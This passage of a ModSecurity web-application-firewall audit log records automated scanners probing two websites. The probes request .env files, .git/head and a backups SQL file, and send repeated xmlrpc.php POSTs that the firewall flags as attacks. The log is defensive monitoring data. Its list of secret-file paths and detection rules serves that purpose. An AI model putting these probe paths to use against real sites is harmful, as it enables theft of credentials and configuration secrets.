1750020866905215 651944; combined=1877, p1=409, p2=1366, p3=0, p4=0, p5=101, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b9a7163-Z-- --57c6b671-A-- [16/Jun/2025:02:24:30.566155 +0530] aE8zBSHEjD4mqWjYVm14agAAABM 185.177.72.210 47228 127.0.0.1 7081 --57c6b671-B-- GET /:8880/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --57c6b671-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3d972c4346e21e059dc5b3b983b8fb861750020870; expires=Sun, 15 Jun 2025 21:54:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --57c6b671-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.production"] [unique_id "aE8zBSHEjD4mqWjYVm14agAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020869912972 653269 (- - -) Stopwatch2: 1750020869912972 653269; combined=1767, p1=360, p2=1288, p3=0, p4=0, p5=118, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --57c6b671-Z-- --73517f67-A-- [16/Jun/2025:02:24:38.634518 +0530] aE8zDdxCjYf3vhjKXItvlQAAAA8 185.177.72.210 47524 127.0.0.1 7081 --73517f67-B-- GET /backups/config_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --73517f67-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=599c67400cbe9e9d90536ee32479d2221750020878; expires=Sun, 15 Jun 2025 21:54:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --73517f67-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backups/config_backup.sql"] [unique_id "aE8zDdxCjYf3vhjKXItvlQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020877965409 669198 (- - -) Stopwatch2: 1750020877965409 669198; combined=1893, p1=323, p2=1462, p3=0, p4=0, p5=107, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --73517f67-Z-- --67a4be2e-A-- [16/Jun/2025:02:24:47.282219 +0530] aE8zFnwizUED0-SK4eRIRwAAAAE 128.199.112.101 36186 127.0.0.1 7081 --67a4be2e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --67a4be2e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --67a4be2e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8zFnwizUED0-SK4eRIRwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020886318894 963379 (- - -) Stopwatch2: 1750020886318894 963379; combined=2241, p1=330, p2=1530, p3=43, p4=78, p5=163, sr=88, sw=97, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --67a4be2e-Z-- --ddae0969-A-- [16/Jun/2025:02:24:48.613236 +0530] aE8zF80RsCO0eBtdhx6_wgAAAAg 185.177.72.210 36268 127.0.0.1 7081 --ddae0969-B-- GET /.git/head HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ddae0969-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=174a4a7a94269c5537f9e62ba71151af1750020888; expires=Sun, 15 Jun 2025 21:54:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ddae0969-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/head"] [unique_id "aE8zF80RsCO0eBtdhx6_wgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020887958506 654790 (- - -) Stopwatch2: 1750020887958506 654790; combined=1627, p1=341, p2=1214, p3=0, p4=0, p5=72, sr=79, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ddae0969-Z-- --c17b1a03-A-- [16/Jun/2025:02:24:57.978437 +0530] aE8zIVfWRcme38U-qk7o-AAAAAI 185.177.72.210 54558 127.0.0.1 7081 --c17b1a03-B-- GET /docs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c17b1a03-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=81bf496202a3d51ad525edb968b48e8c1750020897; expires=Sun, 15 Jun 2025 21:54:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c17b1a03-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docs/.env"] [unique_id "aE8zIVfWRcme38U-qk7o-AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020897323677 654820 (- - -) Stopwatch2: 1750020897323677 654820; combined=1884, p1=385, p2=1422, p3=0, p4=0, p5=76, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c17b1a03-Z-- --0b4bd810-A-- [16/Jun/2025:02:25:03.252932 +0530] aE8zJtxCjYf3vhjKXItvoAAAAA8 185.177.72.210 41222 127.0.0.1 7081 --0b4bd810-B-- GET /:8181/cgi-bin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b4bd810-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=466cd743bd5d8c5ee0bf08ba8a9099741750020903; expires=Sun, 15 Jun 2025 21:55:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b4bd810-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/cgi-bin/.env"] [unique_id "aE8zJtxCjYf3vhjKXItvoAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020902526757 726239 (- - -) Stopwatch2: 1750020902526757 726239; combined=2004, p1=406, p2=1511, p3=0, p4=0, p5=87, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b4bd810-Z-- --279e5640-A-- [16/Jun/2025:02:25:06.550757 +0530] aE8zKU-pZ3B--SoGku85CAAAABE 185.177.72.210 41342 127.0.0.1 7081 --279e5640-B-- GET /.env.email HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --279e5640-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5fddbf56bec15179986aa5f57c4a33ec1750020906; expires=Sun, 15 Jun 2025 21:55:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --279e5640-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.email"] [unique_id "aE8zKU-pZ3B--SoGku85CAAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020905868710 682122 (- - -) Stopwatch2: 1750020905868710 682122; combined=1905, p1=361, p2=1439, p3=0, p4=0, p5=104, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --279e5640-Z-- --18e1d62e-A-- [16/Jun/2025:02:25:48.254016 +0530] aE8zUyHEjD4mqWjYVm14iwAAABM 128.199.112.101 50872 127.0.0.1 7081 --18e1d62e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --18e1d62e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --18e1d62e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8zUyHEjD4mqWjYVm14iwAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020947085792 1168280 (- - -) Stopwatch2: 1750020947085792 1168280; combined=2109, p1=353, p2=1359, p3=41, p4=62, p5=178, sr=98, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --18e1d62e-Z-- --5c754c66-A-- [16/Jun/2025:02:26:16.435521 +0530] aE8zbzW73rwPI0SU-ijvcgAAAAA 185.177.72.210 47852 127.0.0.1 7081 --5c754c66-B-- GET /staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5c754c66-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0078688e136cdbd26f2916987eb304601750020976; expires=Sun, 15 Jun 2025 21:56:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5c754c66-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/staging/.env"] [unique_id "aE8zbzW73rwPI0SU-ijvcgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020975775588 660011 (- - -) Stopwatch2: 1750020975775588 660011; combined=2101, p1=769, p2=1231, p3=0, p4=0, p5=100, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5c754c66-Z-- --96c5fb73-A-- [16/Jun/2025:02:26:29.958631 +0530] aE8zfXwizUED0-SK4eRIcQAAAAE 185.177.72.210 48016 127.0.0.1 7081 --96c5fb73-B-- GET /local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --96c5fb73-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8636d6bafc19a0e95eefe3b180ab18841750020989; expires=Sun, 15 Jun 2025 21:56:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --96c5fb73-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/local/.env"] [unique_id "aE8zfXwizUED0-SK4eRIcQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020989313170 645523 (- - -) Stopwatch2: 1750020989313170 645523; combined=1698, p1=382, p2=1241, p3=0, p4=0, p5=75, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --96c5fb73-Z-- --2d7d344f-A-- [16/Jun/2025:02:26:36.731127 +0530] aE8zhIv0YhcYGG7mzIpmxwAAABU 185.177.72.210 48290 127.0.0.1 7081 --2d7d344f-B-- GET /:8888/rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2d7d344f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f4682117cf2e82405b0d71af4bad6c6e1750020996; expires=Sun, 15 Jun 2025 21:56:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2d7d344f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/rest/.env"] [unique_id "aE8zhIv0YhcYGG7mzIpmxwAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020996078208 652990 (- - -) Stopwatch2: 1750020996078208 652990; combined=1617, p1=321, p2=1195, p3=0, p4=0, p5=101, sr=76, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2d7d344f-Z-- --ecdd6666-A-- [16/Jun/2025:02:26:40.724056 +0530] aE8ziHwizUED0-SK4eRIdgAAAAE 185.177.72.210 43432 127.0.0.1 7081 --ecdd6666-B-- GET /.env.5 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ecdd6666-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=53a6ee404c25223a2165fd81b4d149231750021000; expires=Sun, 15 Jun 2025 21:56:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ecdd6666-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.5"] [unique_id "aE8ziHwizUED0-SK4eRIdgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021000058038 666096 (- - -) Stopwatch2: 1750021000058038 666096; combined=1733, p1=359, p2=1254, p3=0, p4=0, p5=119, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ecdd6666-Z-- --171d5245-A-- [16/Jun/2025:02:26:41.745411 +0530] aE8ziSHEjD4mqWjYVm14oQAAABM 185.177.72.210 43456 127.0.0.1 7081 --171d5245-B-- GET /:5000/protokolle/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --171d5245-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c3adbb9bfd0a7619a171c8fefb1a13921750021001; expires=Sun, 15 Jun 2025 21:56:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --171d5245-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/protokolle/.env"] [unique_id "aE8ziSHEjD4mqWjYVm14oQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021001082219 663268 (- - -) Stopwatch2: 1750021001082219 663268; combined=1891, p1=384, p2=1406, p3=0, p4=0, p5=100, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --171d5245-Z-- --2555c674-A-- [16/Jun/2025:02:26:48.668596 +0530] aE8zj9xCjYf3vhjKXItvyQAAAA8 128.199.112.101 43672 127.0.0.1 7081 --2555c674-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2555c674-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2555c674-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: 